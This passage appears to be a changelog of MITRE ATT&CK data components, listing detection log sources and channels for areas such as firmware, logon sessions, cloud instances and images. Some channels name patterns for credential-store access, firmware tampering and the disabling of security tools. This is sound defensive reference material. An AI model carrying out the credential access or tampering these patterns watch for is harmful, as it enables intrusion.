Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0004', 'external_id': 'DC0004'}]
x_mitre_log_sources		[{'name': 'Firmware', 'channel': 'None'}, {'name': 'networkdevice:syslog', 'channel': 'Image Upgrade / Configuration Change'}, {'name': 'networkdevice:config', 'channel': 'Boot image path or firmware configuration variable modified outside of maintenance windows'}, {'name': 'WinEventLog:Microsoft-Windows-Kernel-Boot', 'channel': 'Firmware integrity validation failed or boot configuration tampered'}, {'name': 'auditd:SYSCALL', 'channel': 'write access to /dev/mem or /sys/firmware/efi/efivars'}, {'name': 'macos:unifiedlog', 'channel': 'boot failure events or SMC validation errors'}, {'name': 'networkdevice:firmware', 'channel': 'Firmware update initiated or bootloader tampering detected'}, {'name': 'networkdevice:config', 'channel': 'Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)'}, {'name': 'networkdevice:config', 'channel': 'Boot variable modified to point to non-standard or unsigned image'}, {'name': 'firmware:integrity ', 'channel': 'Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl/write: Direct firmware update or device memory manipulation syscalls'}, {'name': 'firmware:smart', 'channel': 'Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries'}, {'name': 'macos:unifiedlog', 'channel': 'Firmware update events or kernel extension (kext) loads not signed by Apple'}, {'name': 'firmware:integrity', 'channel': 'Baseline mismatch or unexpected EFI module detected during integrity checks'}, {'name': 'macos:osquery', 'channel': 'Unexpected changes in EFI or NVRAM variables controlling hardware boot state'}, {'name': 'networkdevice:syslog', 'channel': 'Custom firmware or routing changes'}, {'name': 'etw:Microsoft-Windows-Kernel-Storage', 'channel': 'Raw disk I/O operations bypassing NTFS APIs'}, {'name': 'firmware:runtime', 'channel': 'Debug or memory access commands indicating attempts to alter OS instructions in memory'}, {'name': 'networkdevice:syslog', 'channel': 'Boot information log showing image loaded from TFTP server instead of local storage'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:52.606000+00:00	2025-10-21 15:14:38.020000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0099] Group Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0099', 'external_id': 'DC0099'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'ListGroups, ListAttachedRolePolicies'}, {'name': 'azure:audit', 'channel': 'az ad user get-member-groups, Get-AzRoleAssignment'}, {'name': 'gcp:audit', 'channel': 'cloudidentity.groups.list'}, {'name': 'saas:salesforce', 'channel': 'GET /services/data/vXX.X/groups'}, {'name': 'saas:github', 'channel': 'GET /orgs/:org/teams, GET /teams/:team/members'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:40.457000+00:00	2025-10-21 15:14:39.499000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0105] Group Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0105', 'external_id': 'DC0105'}]
x_mitre_log_sources		[{'name': 'm365:sharepoint', 'channel': 'Enumerate ACLs/role bindings'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:43.699000+00:00	2025-10-21 15:14:39.577000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0094] Group Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0094', 'external_id': 'DC0094'}]
x_mitre_log_sources		[{'name': 'm365:unified', 'channel': 'Add member to group'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:46.920000+00:00	2025-10-21 15:14:40.086000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0018] Host Status

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0018', 'external_id': 'DC0018'}]
x_mitre_log_sources		[{'name': 'Sensor Health', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'interface_details '}, {'name': 'Windows:perfmon', 'channel': 'Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)'}, {'name': 'macos:unifiedlog', 'channel': 'Web service process (e.g., httpd) entering crash loop or consuming excessive CPU'}, {'name': 'AWS:CloudWatch', 'channel': 'Sustained spike in CPU usage on EC2 instance with web service role'}, {'name': 'WinEventLog:System', 'channel': 'System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations'}, {'name': 'linux:syslog', 'channel': 'Out of memory killer invoked or kernel panic entries'}, {'name': 'macos:unifiedlog', 'channel': 'Spike in CPU or memory use from non-user-initiated processes'}, {'name': 'AWS:CloudWatch', 'channel': 'StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)'}, {'name': 'kubernetes:events', 'channel': 'CrashLoopBackOff, OOMKilled, container restart count exceeds threshold'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=16'}, {'name': 'Windows:perfmon', 'channel': 'High sustained CPU usage by a single process'}, {'name': 'linux:procfs', 'channel': 'Sustained high /proc/[pid]/stat usage'}, {'name': 'CloudWatch:Metrics', 'channel': 'Sustained EC2 CPU usage above normal baseline'}, {'name': 'prometheus:metrics', 'channel': 'Container CPU/Memory usage exceeding threshold'}, {'name': 'linux:syslog', 'channel': 'Service stop or disable messages for security tools not reflected in SIEM alerts'}, {'name': 'macos:unifiedlog', 'channel': 'Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons'}, {'name': 'CloudWatch:InstanceMetrics', 'channel': 'NetworkOut spike beyond baseline'}, {'name': 'WinEventLog:Microsoft-Windows-TCPIP', 'channel': 'Connection queue overflow or failure to allocate TCP state object'}, {'name': 'NSM:Flow', 'channel': 'TCP: possible SYN flood or backlog limit exceeded'}, {'name': 'macos:unifiedlog', 'channel': 'network stack resource exhaustion, tcp_accept queue overflow, repeated resets'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1166, 7045'}, {'name': 'auditd:SYSCALL', 'channel': 'firmware_update, kexec_load'}, {'name': 'journald:boot', 'channel': 'Secure Boot failure, firmware version change'}, {'name': 'macos:unifiedlog', 'channel': 'EFI firmware integrity check failed'}, {'name': 'macos:syslog', 'channel': 'Hardware UUID or device list drift'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spike in outbound throughput without corresponding inbound traffic'}, {'name': 'sar:network', 'channel': 'Outbound network saturation with minimal process activity'}, {'name': 'AWS:CloudWatch', 'channel': 'Sudden spike in network output without a corresponding inbound request ratio'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spikes in CPU/Memory usage linked to specific application processes'}, {'name': 'CloudMetrics:InstanceHealth', 'channel': 'Autoscaling, memory/cpu alarms, or instance unhealthiness'}, {'name': 'macos:unifiedlog', 'channel': 'System Integrity Protection (SIP) state reported as disabled'}, {'name': 'AWS:CloudWatch', 'channel': 'Unusual CPU burst or metric anomalies'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1074'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6006'}, {'name': 'linux:syslog', 'channel': 'system is powering down'}, {'name': 'macos:unifiedlog', 'channel': 'System shutdown or reboot requested'}, {'name': 'esxi:hostd', 'channel': 'Powering off or restarting host'}, {'name': 'networkdevice:syslog', 'channel': 'System reboot scheduled or performed'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:18.582000+00:00	2025-10-21 15:14:37.544000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0015] Image Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0015', 'external_id': 'DC0015'}]
x_mitre_log_sources		[{'name': 'containerd:events', 'channel': 'Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before'}, {'name': 'docker:daemon', 'channel': 'docker build or docker commit commands followed by docker push to internal registry'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'AWS:CloudTrail', 'channel': 'RegisterImage'}, {'name': 'docker:daemon', 'channel': 'docker build or POST /build API request'}, {'name': 'kubernetes:apiserver', 'channel': 'Pod spec triggering build or custom controller activity invoking image builds'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:53.193000+00:00	2025-10-21 15:14:39.369000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0026] Image Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0026', 'external_id': 'DC0026'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:59.613000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0028] Image Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0028', 'external_id': 'DC0028'}]
x_mitre_log_sources		[{'name': 'docker:events', 'channel': 'docker.events.json'}, {'name': 'esxi:vmkernel', 'channel': 'VMX startup messages without associated vCenter inventory records'}, {'name': 'kubernetes:apiserver', 'channel': 'Resource creation and update logs'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:56.417000+00:00	2025-10-21 15:14:38.423000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0036] Image Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0036', 'external_id': 'DC0036'}]
x_mitre_log_sources		[{'name': 'docker:registry', 'channel': 'push event of new image version from unrecognized user or context'}, {'name': 'AWS:CloudTrail', 'channel': 'ModifyImageAttribute'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:48.777000+00:00	2025-10-21 15:14:40.151000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0076] Instance Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0076', 'external_id': 'DC0076'}]
x_mitre_log_sources		[{'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown'}, {'name': 'gcp:audit', 'channel': 'compute.instances.insert: sourceImage not in approved projects OR has external image link'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.insert'}, {'name': 'AWS:CloudTrail', 'channel': 'RunInstances,CreateImage'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:20.734000+00:00	2025-10-21 15:14:39.434000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0081] Instance Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0081', 'external_id': 'DC0081'}]
x_mitre_log_sources		[{'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/DELETE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.delete'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:17.500000+00:00	2025-10-21 15:14:37.952000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0075] Instance Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0075', 'external_id': 'DC0075'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'DescribeDBInstances'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/LIST'}, {'name': 'gcp:audit', 'channel': 'compute.instances.list OR storage.buckets.list'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances, GetConsoleOutput, DescribeImages'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/read'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:14.328000+00:00	2025-10-21 15:14:38.969000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0086] Instance Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0086', 'external_id': 'DC0086'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances'}, {'name': 'CloudTrail:EC2', 'channel': 'DescribeInstances'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:42.003000+00:00	2025-10-21 15:14:37.885000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0073] Instance Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0073', 'external_id': 'DC0073'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'RevertSnapshot'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/RESTORE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.restore'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:07.954000+00:00	2025-10-21 15:14:40.223000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0080] Instance Start

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0080', 'external_id': 'DC0080'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'StartInstances'}, {'name': 'CloudTrail:RunInstances', 'channel': 'RunInstances'}, {'name': 'CloudTrail:RunInstances', 'channel': 'RunInstances: AMI not in allowlist OR AMI owner != enterprise owner/account'}, {'name': 'AWS:CloudTrail', 'channel': 'StartInstances: Instance starts from suspicious AMI or with userData present'}, {'name': 'AWS:CloudTrail', 'channel': 'RunInstances'}, {'name': 'CloudTrail:EC2', 'channel': 'RunInstances'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:11.135000+00:00	2025-10-21 15:14:36.515000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0089] Instance Stop

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0089', 'external_id': 'DC0089'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'TerminateInstances'}, {'name': 'AWS:CloudTrail', 'channel': 'StopInstances'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:13:04.794000+00:00	2025-10-21 15:14:37.816000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0031] Kernel Module Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0031', 'external_id': 'DC0031'}]
x_mitre_log_sources		[{'name': 'esxi:vmkernel', 'channel': 'VM exit/entry anomalies, unexpected hypercalls, or kernel module loading'}, {'name': 'macos:osquery', 'channel': 'New kext entries not signed by Apple or outside standard identifier prefix'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:44.099000+00:00	2025-10-21 15:14:39.179000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0067] Logon Session Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0067', 'external_id': 'DC0067'}]
x_mitre_log_sources		[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'UserLoggedIn'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListResources'}, {'name': 'azure:signin', 'channel': 'UserLoginSuccess, TokenIssued'}, {'name': 'Okta:SystemLog', 'channel': 'user.authentication.sso, app.oauth.grant'}, {'name': 'm365:signin', 'channel': 'SignInSuccess, RoleAssignmentRead'}, {'name': 'm365:unified', 'channel': 'UserLoggedIn'}, {'name': 'gcp:audit', 'channel': 'LoginAudit, DriveAudit'}, {'name': 'saas:auth', 'channel': 'LoginSuccess, APIKeyUse, AdminAction'}, {'name': 'azure:signinlogs', 'channel': 'Abnormal sign-in from scripting tools (PowerShell, AADInternals)'}, {'name': 'azure:signinlogs', 'channel': 'Suspicious login to cloud mailbox system'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624'}, {'name': 'azure:signinlogs', 'channel': 'Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4648'}, {'name': 'NSM:Connections', 'channel': 'Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)'}, {'name': 'macos:unifiedlog', 'channel': 'Authentication inconsistencies where commands are executed without corresponding login events'}, {'name': 'CloudTrail:Signin', 'channel': 'SAML login without corresponding IdP authentication log'}, {'name': 'm365:sharepoint', 'channel': 'File access with forged or anomalous SAML claims'}, {'name': 'AWS:CloudTrail', 'channel': 'Web console logins using session cookies without corresponding MFA event'}, {'name': 'saas:access', 'channel': 'Multiple concurrent logins using same cookie from different locations'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise'}, {'name': 'macos:unifiedlog', 'channel': 'authentication'}, {'name': 'AWS:CloudTrail', 'channel': 'SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect'}, {'name': 'azure:signin', 'channel': 'Microsoft.Compute/virtualMachines/serialConsole/connect/action'}, {'name': 'gcp:audit', 'channel': 'cloud.ssh.publicKey.inserted, compute.instances.osLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 with LogonType=9 or smartcard logon'}, {'name': 'NSM:Connections', 'channel': 'Missing new login event but session activity continues'}, {'name': 'macos:unifiedlog', 'channel': 'Session reuse without new auth event'}, {'name': 'AWS:CloudTrail', 'channel': 'Temporary security credentials used to authenticate into management console or APIs'}, {'name': 'macos:unifiedlog', 'channel': 'Access to Keychain items or browser credential stores'}, {'name': 'm365:signin', 'channel': 'Token usage events with device/user mismatch'}, {'name': 'saas:github', 'channel': 'Login from unusual IP, device fingerprint, or location; access token creation from new client'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10 or 3), EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'sshd: Accepted password/publickey'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'"}, {'name': 'AWS:CloudTrail', 'channel': 'AWS ConsoleLogin, StartSession'}, {'name': 'esxi:vmkernel', 'channel': 'vim.fault., DCUI login, SSH shell'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=3)'}, {'name': 'AWS:CloudTrail', 'channel': 'GetConsoleOutput'}, {'name': 'saas:okta', 'channel': 'user.session.start'}, {'name': 'm365:unified', 'channel': 'ViewAdminReport'}, {'name': 'saas:zoom', 'channel': 'Zoom Admin Dashboard accessed from unfamiliar IP/device'}, {'name': 'WinEventLog:Security', 'channel': 'Anomalous logon without MFA enforcement'}, {'name': 'networkdevice:Firewall', 'channel': 'Login from untrusted IP, or new admin account accessing firewall console/API'}, {'name': 'linux:syslog', 'channel': 'authentication success after file access'}, {'name': 'macos:unifiedlog', 'channel': 'Keychain or user login post-access'}, {'name': 'AWS:CloudTrail', 'channel': 'sudden role assumption after credential file access'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10), EventCode=4648'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4648'}, {'name': 'NSM:Connections', 'channel': 'Accepted publickey for user from unusual IP or without tty'}, {'name': 'saas:confluence', 'channel': 'logon'}, {'name': 'linux:syslog', 'channel': 'auth.log / secure.log'}, {'name': 'esxi:auth', 'channel': 'Shell login or escalation'}, {'name': 'linux:auth', 'channel': 'User login event followed by unexpected process tree'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges'}, {'name': 'm365:signinlogs', 'channel': 'UserLogin: Discovery operations shortly after account logins from new geolocations'}, {'name': 'saas:auth', 'channel': 'Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens'}, {'name': 'WinEventLog:Security', 'channel': '4624'}, {'name': 'NSM:Connections', 'channel': 'simultaneous or anomalous logon sessions across multiple systems'}, {'name': 'macos:unifiedlog', 'channel': 'authentication plugin load or modification events'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648, 4672'}, {'name': 'azure:ad', 'channel': 'SignInEvents'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648,4672,4769'}, {'name': 'linux:syslog', 'channel': 'Accepted publickey/password for from * port * ssh2'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd successful login events'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, ServicePrincipalSignIn'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, NonInteractiveUser'}, {'name': 'azure:signinlogs', 'channel': 'UserLogin, ConditionalAccessPolicyEvaluated'}, {'name': 'saas:okta', 'channel': 'session.token.reuse'}, {'name': 'auditd:SYSCALL', 'channel': 'capset or setns'}, {'name': 'gcp:audit', 'channel': 'admin.googleapis.com'}, {'name': 'm365:signinlogs', 'channel': 'UserLoggedIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4624'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634'}, {'name': 'linux:syslog', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:26.544000+00:00	2025-10-21 15:14:35.022000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0088] Logon Session Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0088', 'external_id': 'DC0088'}]
x_mitre_log_sources		[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4672'}, {'name': 'macos:unifiedlog', 'channel': 'LoginWindow context with associated PID linked to reopened plist paths'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4768, 4769'}, {'name': 'azure:signinLogs', 'channel': 'SAML-based login with anomalous issuer or NotOnOrAfter lifetime'}, {'name': 'm365:unified', 'channel': 'Abnormal user claims or unexpected elevated role assignment in SAML assertion'}, {'name': 'macos:unifiedlog', 'channel': 'authd generating multiple MFA token requests'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625, 4768, 4769'}, {'name': 'linux:syslog', 'channel': 'sssd / sudo logs'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4778, EventCode=4779'}, {'name': 'auditd:SYSCALL', 'channel': 'ssh logins or execve of remote commands'}, {'name': 'macos:unifiedlog', 'channel': 'Remote login (ssh) or screen sharing authentication attempts'}, {'name': 'kubernetes:audit', 'channel': 'Unauthorized container creation or kubelet exec logs'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_LOGIN'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4800, 4801'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4776,4771,4770'}, {'name': 'auditd:SYSCALL', 'channel': 'execve,socket,connect,openat'}, {'name': 'macos:unifiedlog', 'channel': 'Group membership change for admin or wheel'}, {'name': 'azure:audit', 'channel': 'Add delegated admin / Assign admin roles / Update application consent'}, {'name': 'saas:okta', 'channel': 'user.session.start, app.oauth2.as.authorize, policy.mfa.bypass'}, {'name': 'gcp:audit', 'channel': 'google.iam.credentials.generateAccessToken / serviceAccountTokenCreator'}, {'name': 'saas:salesforce', 'channel': 'ConnectedApp OAuth policy change / Login as user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4634, 4768, 4769'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime'}, {'name': 'saas:okta', 'channel': 'user.authentication.sso'}, {'name': 'm365:unified', 'channel': 'FileAccessed, SharingSet'}, {'name': 'm365:signin', 'channel': 'UserLogin'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow, sshd'}, {'name': 'NSM:Connections', 'channel': 'Successful sudo or ssh from unknown IPs'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd events with external IP'}, {'name': 'macos:unifiedlog', 'channel': "process = 'sshd'"}, {'name': 'esxi:auth', 'channel': 'None'}]

dictionary_item_removed
